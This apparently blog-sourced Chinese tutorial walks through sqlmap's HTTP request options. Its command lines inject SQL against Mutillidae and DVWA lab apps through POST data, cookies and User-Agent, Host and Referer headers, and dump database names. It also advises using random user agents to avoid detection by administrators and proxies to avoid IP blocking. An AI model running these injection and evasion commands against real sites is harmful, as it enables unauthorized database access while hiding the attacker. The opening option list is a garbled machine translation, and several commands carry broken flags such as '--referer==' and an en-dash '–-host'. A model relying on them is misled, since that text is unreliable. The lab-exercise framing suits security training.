2 sqlmap工具詳細使用 任務094:SQLMAP自動注入-REQUEST

任務094:SQLMAP自動注入-REQUEST

  1. 請求類型的參數:

    這些選項可用於指定如何連接到目標URL
    
    --method=method強制使用給定的HTTP方法(例如PUT)
    
    --data=要通過POST發送的數據數據字符串(例如“id=1”)
    
    PARAM-DEL = PARA。用於分割參數值的字符(例如&)
    
    --cookie=cookie HTTP cookie頭值(例如“PHPSESSID=a8d127e…”)
    
    --cookie del=首席運營官。。用於分割cookie值的字符(例如;)
    
    --加載cookies=L包含Netscape/wget格式cookies的文件
    
    --從響應中刪除set cookie Ignore set cookie頭
    
    --用戶代理=代理HTTP用戶代理頭值
    
    --基於HTTP用戶代理頭的移動模擬智能手機
    
    --隨機代理使用隨機選擇的HTTP用戶代理頭值
    
    --host=host HTTP主機頭值
    
    --referer=referer HTTP referer頭值
    
    -H割臺,--hea額外標題(例如“X-Forwarded-For:127.0.0.1”)
    
    --headers=headers額外的headers(例如,“Accept Language:fr\nETag:123”)
    
    --auth type=auth。。HTTP身份驗證類型(基本、摘要、NTLM或PKI)
    
    --auth cred=驗證。。HTTP身份驗證憑據(名稱:密碼)
    
    --auth file=驗證。。HTTP認證PEM證書/私鑰文件
    
    --忽略代碼=IG。。忽略(有問題的)HTTP錯誤代碼(例如401)
    
    --忽略代理忽略系統默認代理設置
    
    --忽略重定向忽略重定向嘗試
    
    --忽略超時忽略連接超時
    
    --proxy=proxy使用代理連接到目標URL
    
    --代理cred=PRO代理身份驗證憑據(名稱:密碼)
    
    --代理文件=PRO從文件加載代理列表
    
    --使用匿名網絡
    
    --tor端口=TORPORT設置爲非默認代理端口
    
    --tor type=TORTYPE設置爲代理類型(HTTP、SOCKS4或SOCKS5(默認值))
    
    --檢查tor檢查tor是否正確使用
    
    --delay=每個HTTP請求之間的延遲延遲(秒)
    
    --timeout=超時連接前等待的超時秒數(默認值30)
    
    --retries=連接超時時重試(默認3)
    
    ——給定參數的隨機化=rPARAM隨機變化值
    
    --safe url=測試期間要經常訪問的SAFEURL url地址
    
    --安全柱=安全將數據發送到安全的URL
    
    --安全要求=安全。。從文件加載安全的HTTP請求
    
    --安全頻率=安全兩次訪問給定安全URL之間的測試請求
    
    --跳過URL編碼跳過有效負載數據的URL編碼
    
    --csrf令牌=CSR。。用於保存反CSRF令牌的參數
    
    --csrf url=CSRFURL提取反csrf令牌要訪問的url地址
    
    --csrf方法=CS。。訪問反CSRF令牌頁時使用的HTTP方法
    
    --強制ssl強制使用ssl/HTTPS
    
    --分塊使用HTTP分塊傳輸編碼(POST)請求
    
    --hpp使用HTTP參數污染方法
    
    --eval=eval code在請求之前評估提供的Python代碼(例如。
    
    “導入hashlib;id2=hashlib.md5(id.hexdigest()”)
    

SQLMAP是來進行sql注入的是給予http協議的

下面是參數的演示修改頭

  1. 參數 --data
    get或post都適用
    –data裏面放變量的
    數據段:–data
    1.1get演示
    URL地址http://172.16.103.128/mutillidae/index.php?page=login.php怎麼參數撒不包含sql注入的
    在這裏插入圖片描述
    要檢測有sql注入漏洞參數名稱是通過post數據部分進行傳輸的
    在這個地方
    在這裏插入圖片描述
    叫上面的參數放到–data裏
    然後進行–dbs掃描
    –dbs查看你數據管理系統有多少庫顯示庫名
    命令

    sqlmap -u "http://172.16.103.128/mutillidae/index.php?page=login.php" --data="username=1&password=1&login-php-submit-button=Login" --dbs
    

    在這裏插入圖片描述
    1.2POST演示
    原先的URL地址http://172.16.103.128/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details
    用–data參數
    命令
    裏面存放post變量
    裏面不放"?"了

    sqlmap -u "http://172.16.103.128/mutillidae/index.php" --data="page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --dbs
    

    在這裏插入圖片描述

  2. 變量分隔符 --param-del
    通常URL地址裏都是用
    http://172.16.103.128/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details是用的&進行分割的
    還有的是用;進行分割的
    http://1.1.1.1/a.php?q=foo;id=1
    我們可以用–param-del進行修改分割符

    sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
    
  3. cookie 頭
    web應用需要基於cookie的身份認證,
    3.1cookie 頭 --cookie
    可以用–cookie進行添加cookie
    在瀏覽器裏也可以找到cookie的
    在這裏插入圖片描述
    命令

    sqlmap -u "http://192.168.43.245/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6c9388ff1b30ee4c444e21b5a2aff95e"
    

    在這裏插入圖片描述
    3.2. 然後掃描到其他網頁更換了cookie工具sqlmap會自動進行更換cookie的
    我們可以添加一個--drop-set-cookie不叫他更換cookie
    3.3. sqlmap 會自動檢查cookie中的注入點(level>=至少是2)
    加上–level 1-5
    命令

     sqlmap -u "http://192.168.43.245/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=6c9388ff1b30ee4c444e21b5a2aff95e" --level 2 --dbs
    

    在這裏插入圖片描述

  4. 參數–user-agent可以修改 user-agent
    默認發的探測包不是其他想IE瀏覽器或者是其他瀏覽器發的包默認撒sqlmap發的
    這樣的話網站管理員就會發現有人用sqlmap在掃那
    在這裏插入圖片描述4.1用–random-agent隨機user-agent
    配置的user-agent在這個文件裏/usr/share/sqlmap/data/txt/user-agents.txt
    –random-agent會隨機用上面這個文件裏的user-agent
    命令

    sqlmap  -u "http://192.168.54.56/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"  --random-agent
    

    看一下就不是sqlmap了
    在這裏插入圖片描述4.2自己指定user-agent
    命令

    sqlmap  -u "http://192.168.54.56/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-	button=View+Account+Details"  --user-agent aaaaa
    

    可以看見是aaa
    在這裏插入圖片描述4.3使 sqlmap 檢查 user-agent 中的注入點:level >= 3
    user-agent也是存在sql注入的
    sqlmap掃描 user-agent 是否存在sql注入不須level>= 3 纔會看看user-agent 是否存在漏洞
    命令

    sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"  --random-agent  --level 3
    

    在這裏插入圖片描述4.3如果出現了報錯服務器你的掃描就會包下面的錯誤

    [hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --useragent or --random-agent

  5. host頭
    修改host頭需要加上--host="xxxx"
    命令

     sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"  –-host="aaaaaaaa"  --dbs
    

    在這裏插入圖片描述掃描host頭是否存在sql漏洞level >= 5 纔可以
    命令

    sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"  –-host="aaaaaaaa"  --level 5  --dbs
    

    在這裏插入圖片描述

  6. Referer頭
    referer頭是比如我們訪問一個網頁要跳轉到另外一個網頁原來的URL會在referer裏
    6.1修改referer後面加上參數--referer="要指定的referer"
    命令

    sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"  --referer=="aaaaaaaa"    --dbs
    

    在這裏插入圖片描述
    6.2要檢referer是否存在sql注入漏洞–level>=3纔可以
    命令

    sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"  --referer=="aaaaaaaa"  --level 3  --dbs
    

    在這裏插入圖片描述

  7. 另外如果沒有這這個修改參數的頭可以用 --headers參數下面是他的使用
    提示《裏面的頭名要給包的頭名一樣列Host》
    在這裏插入圖片描述
    7.1單個要修改的頭參數--headers="頭名:"要修改的東西""這個就不演示了

    7.2要是多個必須換行\n參數--headers="頭名:"要修改的東西\n"頭名:"要修改的東西"
    命令
    這個我就用Host頭和User-Agent頭

    sqlmap  -u "http://192.168.51.36/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"  --headers="Host:www.aaa.com\nUser-Agent:AAAAAAAAAA"   --dbs
    

    在這裏插入圖片描述
    可以看見被修改了
    在這裏插入圖片描述

  8. 掃描指定發的包GET和POST
    參數--method=GET或POST
    命令

     sqlmap  -u "http://192.168.51.26/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"  --method=POST   --dbs
    

    在這裏插入圖片描述

  9. 基於HTTP協議的身份驗證
    類型
    Basic
    Digest
    NTLM
    這個就不演示了
    命令

    sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type=身份認證類型 --auth-cred="帳號:密碼"--proxy="http://代理的ip:代理的端口"
    
    
  10. 非常少見的居於客戶端證書來進行身份認證的
    這個我也不太明白
    參數--auth-file="證書"

  11. http(s)代理
    比如要做一次掃描可能就會被目標服務器屏蔽掉所以用代理他屏蔽的就是代理的ip,應爲你掃描的時候會發很多的探測包
    參數--proxy="http://代理的ip:代理的端口"
    如果代理有帳號密碼可以用這個參數--proxy-cred="帳號:密碼"
    命令

    sqlmap -u "http://192.168.51.26/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details"--proxy="http://127.0.0.1:8080"
    

作者QQ2737977997

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章